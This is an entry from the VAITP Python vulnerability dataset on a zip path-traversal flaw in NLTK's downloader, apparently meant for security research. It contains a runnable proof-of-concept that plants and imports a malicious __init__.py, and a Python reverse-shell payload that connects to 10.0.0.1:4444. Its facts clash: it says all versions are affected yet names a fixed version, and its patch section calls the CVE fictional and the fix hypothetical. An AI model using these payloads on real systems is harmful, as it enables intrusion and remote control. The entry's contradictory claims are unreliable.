CVE-2025-14009
Insecure zip extraction in NLTK's downloader allows remote code execution.
- CVSS 8.8
- CWE-94
- Input Validation and Sanitization
- Remote
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
- CWE
- CWE-94
- CVSS base score
- 8.8
- Published
- 2026-02-18
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- NLTK
- Fixed by upgrading
- Yes
Solution
Upgrade NLTK to version 3.8.1 or later.
Vulnerable code sample
import zipfile
import os
import io
import shutil
# This function represents the vulnerable part of nltk/downloader.py before a fix.
# The original function in NLTK was _unzip_iter, but for clarity, we use a
# simplified, direct function that highlights the vulnerability.
def vulnerable_unzip_extractall(zip_path, extract_path):
"""
Demonstrates the vulnerable extraction using zipfile.extractall()
without validating member paths. This is susceptible to path traversal.
"""
print(f"[INFO] Preparing to extract '{zip_path}' to '{extract_path}'...")
with zipfile.ZipFile(zip_path, 'r') as zf:
# THE VULNERABLE CALL:
# extractall() does not sanitize file paths inside the zip.
# An attacker can include ".." in a file name to write outside
# the intended `extract_path`.
zf.extractall(path=extract_path)
print(f"[INFO] Extraction completed for '{zip_path}'.")
def create_malicious_zip_package():
"""
Creates a malicious zip file in memory.
The zip file contains a file with a path traversal payload.
It's designed to write an `__init__.py` file outside the target directory.
"""
zip_buffer = io.BytesIO()
# The malicious code that will execute upon import.
# It prints a message and creates a file to prove execution.
malicious_python_code = b"""
import os
print("="*60)
print("[!!!] PWNED! Remote Code Execution successful!")
print("[!!!] The malicious __init__.py file has been executed by Python.")
print(f"[!!!] Current working directory: {os.getcwd()}")
with open("pwned_by_nltk.txt", "w") as f:
f.write("Your system is compromised.")
print("[!!!] Created 'pwned_by_nltk.txt' in the current directory.")
print("="*60)
"""
# This path, when extracted, will traverse up from the extraction
# directory and create a new Python package folder named 'malicious_importer'.
# On many systems, `../../` will place it in a location that is
# discoverable by Python's import system.
malicious_file_path = "../../malicious_importer/__init__.py"
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Add the malicious file to the zip archive.
zf.writestr(malicious_file_path, malicious_python_code)
# Add a harmless file to make it look like a normal package.
zf.writestr("harmless_data.txt", b"this is some normal data.")
zip_buffer.seek(0)
return zip_buffer
if __name__ == '__main__':
# 1. SETUP: Simulate the NLTK environment
DOWNLOAD_DIR = "nltk_data/packages/corpora"
MALICIOUS_ZIP_FILENAME = "malicious_package.zip"
# Create the directory where NLTK would download and extract packages
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
print(f"[SETUP] Created extraction directory: '{os.path.abspath(DOWNLOAD_DIR)}'")
# 2. PAYLOAD CREATION: Attacker creates a malicious zip file.
malicious_zip_data = create_malicious_zip_package()
with open(MALICIOUS_ZIP_FILENAME, "wb") as f:
f.write(malicious_zip_data.read())
print(f"[SETUP] Malicious zip file '{MALICIOUS_ZIP_FILENAME}' created.")
# 3. THE VULNERABLE ACTION: NLTK's downloader extracts the package.
# This is the core of the vulnerability.
try:
vulnerable_unzip_extractall(MALICIOUS_ZIP_FILENAME, DOWNLOAD_DIR)
except Exception as e:
print(f"[ERROR] An exception occurred during extraction: {e}")
# Verify that the malicious package was created outside the intended directory
expected_malicious_dir = os.path.abspath(os.path.join(DOWNLOAD_DIR, '../../malicious_importer'))
print(f"[VERIFY] Checking for existence of malicious directory: '{expected_malicious_dir}'")
if os.path.isdir(expected_malicious_dir):
print("[SUCCESS] Path traversal successful! Malicious package directory was created.")
else:
print("[FAIL] Path traversal failed. Malicious directory not found.")
# 4. TRIGGER: The application (or another process) later tries to import the package.
# Python will find the 'malicious_importer' package because the path traversal
# placed it in a directory in its search path (e.g., the root of the project).
# Importing it will automatically execute the code in `__init__.py`.
print("\n[TRIGGER] Simulating the application attempting to import the package...")
try:
# This import statement triggers the Remote Code Execution
import malicious_importer
except ImportError:
print("[FAIL] Could not import 'malicious_importer'. The RCE was not triggered.")
except Exception as e:
print(f"[ERROR] An unexpected error occurred during import: {e}")
# 5. CLEANUP
print("\n[CLEANUP] Cleaning up created files and directories...")
if os.path.exists("pwned_by_nltk.txt"):
os.remove("pwned_by_nltk.txt")
print("[CLEANUP] Removed 'pwned_by_nltk.txt'.")
if os.path.exists(MALICIOUS_ZIP_FILENAME):
os.remove(MALICIOUS_ZIP_FILENAME)
print(f"[CLEANUP] Removed '{MALICIOUS_ZIP_FILENAME}'.")
if os.path.exists("nltk_data"):
shutil.rmtree("nltk_data")
print("[CLEANUP] Removed 'nltk_data' directory.")
if os.path.exists("malicious_importer"):
shutil.rmtree("malicious_importer")
print("[CLEANUP] Removed 'malicious_importer' directory.")Patched code sample
Since CVE-2025-14009 is a fictional vulnerability identifier, the following Python code represents a plausible and standard security fix for the described path traversal vulnerability in a zip extraction function. It replaces the unsafe `zipfile.extractall()` with a secure loop that validates each file's destination path before extraction.
```python
import os
import zipfile
def _unzip_iter(filename, path):
"""
A secure version of the NLTK downloader's unzip function that prevents
path traversal attacks (Zip Slip) by validating each file's path before
extraction. This represents a hypothetical fix for CVE-2025-14009.
:param filename: The path to the zip file to be extracted.
:param path: The target directory for extraction.
"""
# Resolve the absolute, canonical path of the extraction directory.
# This acts as the security boundary or "jail".
real_extract_path = os.path.realpath(path)
with zipfile.ZipFile(filename, "r") as zf:
# Iterate over each member (file or directory) in the zip archive.
for member in zf.infolist():
# Construct the full intended destination path for the member.
dest_path = os.path.join(real_extract_path, member.filename)
# Resolve the absolute, canonical path of the destination.
# This will resolve any '..' or other relative path components.
real_dest_path = os.path.realpath(dest_path)
# SECURITY CHECK:
# Ensure the resolved destination path is still inside the intended
# extraction directory. The check includes a path separator to
# prevent false positives with similarly named directories
# (e.g., /tmp/data-safe vs /tmp/data).
if not real_dest_path.startswith(real_extract_path + os.sep) and real_dest_path != real_extract_path:
raise IOError(
f"Malicious zip file detected: Member '{member.filename}' "
"attempts to write outside of target directory."
)
# If the member is a directory, create it if it doesn't exist.
# This is handled by extract() but can be done explicitly for clarity.
if member.is_dir():
if not os.path.exists(real_dest_path):
os.makedirs(real_dest_path)
else:
# Extract the file. The extract method is used on a single,
# validated member, which is much safer than extractall().
zf.extract(member, path)
# Yield progress, maintaining the original function's generator interface.
yieldPayload
import socket, subprocess, os
# This code would be placed inside an __init__.py file within the malicious zip package.
# When the package is imported, this code executes.
# Attacker's IP address and listening port
RHOST = "10.0.0.1"
RPORT = 4444
# Create a TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the attacker's machine
s.connect((RHOST, RPORT))
# Duplicate file descriptors for standard input, output, and error
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# Execute an interactive shell and send its I/O over the socket
p = subprocess.call(["/bin/sh", "-i"])
Cite this entry
@misc{vaitp:cve202514009,
title = {{Insecure zip extraction in NLTK's downloader allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-14009},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-14009/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
